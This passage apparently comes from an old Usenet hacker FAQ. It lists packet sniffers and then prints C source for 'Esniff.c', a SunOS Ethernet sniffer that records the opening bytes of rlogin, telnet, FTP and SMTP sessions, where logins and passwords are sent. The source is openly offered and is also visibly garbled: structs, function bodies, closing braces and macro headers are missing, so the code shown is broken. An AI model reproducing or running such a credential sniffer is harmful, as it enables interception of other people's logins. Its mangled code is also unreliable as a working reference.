DOS             ETHLOAD            /* Available via anonymous ftp as */
                                   /* */
                The Gobbler        /* Available via anonymous ftp */
                Netzhack           /* Available via anonymous ftp at */
                        /* */
                        /* /pub/assembler/netzhack.mac           */
Macintosh       Etherpeek
                NetMinderEthernet  /* Commercial */

[Note from Dan Mellem: VMS running MULTINET has a packet sniffer: $ mu
tcpdump and $ mu tcpview, but these are privileged commands. H.]

Here is source code for a sample ethernet sniffer using NIT under SunOS

/* Esniff.c */

#include <stdio.h>
#include <ctype.h>
#include <string.h>

#include <sys/time.h>
#include <sys/file.h>
#include <sys/stropts.h>
#include <sys/signal.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/ioctl.h>

#include <net/if.h>
#include <net/nit_if.h>
#include <net/nit_buf.h>
#include <net/if_arp.h>

#include <netinet/in.h>
#include <netinet/if_ether.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <netinet/udp.h>
#include <netinet/ip_var.h>
#include <netinet/udp_var.h>
#include <netinet/in_systm.h>
#include <netinet/tcp.h>
#include <netinet/ip_icmp.h>

#include <netdb.h>
#include <arpa/inet.h>

#define ERR stderr

char    *malloc();
char    *device,
int     debug=0;

#define NIT_DEV     "/dev/nit"
#define CHUNKSIZE   4096        /* device buffer size */
int     if_fd = -1;
int     Packet[CHUNKSIZE+32];

void Pexit(err,msg)
int err; char *msg;
{ perror(msg);
  exit(err); }

void Zexit(err,msg)
int err; char *msg;
{ fprintf(ERR,msg);
  exit(err); }

#define IP          ((struct ip *)Packet)
#define IP_OFFSET   (0x1FFF)
#define SZETH       (sizeof(struct ether_header))
#define IPLEN       (ntohs(ip->ip_len))
#define IPHLEN      (ip->ip_hl)
#define TCPOFF      (tcph->th_off)
#define IPS         (ip->ip_src)
#define IPD         (ip->ip_dst)
#define TCPS        (tcph->th_sport)
#define TCPD        (tcph->th_dport)
#define IPeq(s,t)   ((s).s_addr == (t).s_addr)

#define TCPFL(FLAGS) (tcph->th_flags & (FLAGS))

#define MAXBUFLEN  (128)
time_t  LastTIME = 0;

struct CREC {
     struct CREC *Next,
     time_t  Time;              /* start time */
     struct in_addr SRCip,
     u_int   SRCport,           /* src/dst ports */
     u_char  Data[MAXBUFLEN+2]; /* important stuff :-) */
     u_int   Length;            /* current data length */
     u_int   PKcnt;             /* # pkts */
     u_long  LASTseq;

struct CREC *CLroot = NULL;

char *Symaddr(ip)
register struct in_addr ip;
{ register struct hostent *he =
      gethostbyaddr((char *)&ip.s_addr, sizeof(struct

  return( (he)?(he->h_name):(inet_ntoa(ip)) );

char *TCPflags(flgs)
register u_char flgs;
{ static char iobuf[8];
#define SFL(P,THF,C) iobuf[P]=((flgs & THF)?C:'-')

  SFL(0,TH_FIN, 'F');
  SFL(1,TH_SYN, 'S');
  SFL(2,TH_RST, 'R');
  SFL(4,TH_ACK, 'A');
  SFL(5,TH_URG, 'U');

char *SERVp(port)
register u_int port;
{ static char buf[10];
  register char *p;

   switch(port) {
     case IPPORT_LOGINSERVER: p="rlogin"; break;
     case IPPORT_TELNET:      p="telnet"; break;
     case IPPORT_SMTP:        p="smtp"; break;
     case IPPORT_FTP:         p="ftp"; break;
     default: sprintf(buf,"%u",port); p=buf; break;

char *Ptm(t)
register time_t *t;
{ register char *p = ctime(t);
  p[strlen(p)-6]=0; /* strip " YYYY\n" */

char *NOWtm()
{ time_t tm;
  return( Ptm(&tm) );

#define MAX(a,b) (((a)>(b))?(a):(b))
#define MIN(a,b) (((a)<(b))?(a):(b))

/* add an item */
  register struct CREC *CLtmp = \
        (struct CREC *)malloc(sizeof(struct CREC)); \
  time( &(CLtmp->Time) ); \
  CLtmp->SRCip.s_addr = SIP.s_addr; \
  CLtmp->DSTip.s_addr = DIP.s_addr; \
  CLtmp->SRCport = SPORT; \
  CLtmp->DSTport = DPORT; \
  CLtmp->Length = MIN(LEN,MAXBUFLEN); \
  bcopy( (u_char *)DATA, (u_char *)CLtmp->Data, CLtmp->Length); \
  CLtmp->PKcnt = 1; \
  CLtmp->Next = CLroot; \
  CLtmp->Last = NULL; \
  CLroot = CLtmp; \

register struct CREC *GET_NODE(Sip,SP,Dip,DP)
register struct in_addr Sip,Dip;
register u_int SP,DP;
{ register struct CREC *CLr = CLroot;

  while(CLr != NULL) {
    if( (CLr->SRCport == SP) && (CLr->DSTport == DP) &&
        IPeq(CLr->SRCip,Sip) && IPeq(CLr->DSTip,Dip) )
    CLr = CLr->Next;

 bcopy((u_char *)DATA, (u_char *)&CL->Data[CL->Length],LEN); \
 CL->Length += LEN; \

#define PR_DATA(dp,ln) {    \
  register u_char lastc=0; \
  while(ln-- >0) { \
     if(*dp < 32) {  \
        switch(*dp) { \
          case '\0': if((lastc=='\r') || (lastc=='\n') || lastc=='\0')
                        break; \
            case '\r': \
            case '\n': fprintf(LOG,"\n     : "); \
                        break; \
            default  : fprintf(LOG,"^%c", (*dp + 64)); \
                        break; \
        } \
     } else { \
        if(isprint(*dp)) fputc(*dp,LOG); \
        else fprintf(LOG,"(%d)",*dp); \
     } \
     lastc = *dp++; \
  } \
  fflush(LOG); \

void END_NODE(CLe,d,dl,msg)
register struct CREC *CLe;
register u_char *d;
register int dl;
register char *msg;
   fprintf(LOG,"\n-- TCP/IP LOG -- TM: %s --\n", Ptm(&CLe->Time));
   fprintf(LOG," PATH: %s(%s) =>",
   fprintf(LOG," %s(%s)\n", Symaddr(CLe->DSTip),SERVp(CLe->DSTport));
   fprintf(LOG," STAT: %s, %d pkts, %d bytes [%s]\n",
   fprintf(LOG," DATA: ");
    { register u_int i = CLe->Length;
      register u_char *p = CLe->Data;

   fprintf(LOG,"\n-- \n");

   if(CLe->Next != NULL)
    CLe->Next->Last = CLe->Last;
   if(CLe->Last != NULL)
    CLe->Last->Next = CLe->Next;
    CLroot = CLe->Next;

/* 30 mins (x 60 seconds) */
#define IDLE_TIMEOUT 1800
#define IDLE_NODE() { \
  time_t tm; \
  time(&tm); \
  if(LastTIME<tm) { \
     register struct CREC *CLe,*CLt = CLroot; \
     while(CLe=CLt) { \
       CLt=CLe->Next; \
       if(CLe->Time <tm) \
           END_NODE(CLe,(u_char *)NULL,0,"IDLE TIMEOUT"); \
     } \
  } \

void filter(cp, pktlen)
register char *cp;

User Contributions:

Comment about this article, ask questions, or add new information about this topic:

Part1 - Part2 - Part3 - Part4

[ Usenet FAQs | Web FAQs | Documents | RFC Index ]

Send corrections/additions to the FAQ Maintainer:
"FAQ Comments address" <>,Harlequin <>

Last Update March 27 2014 @ 02:11 PM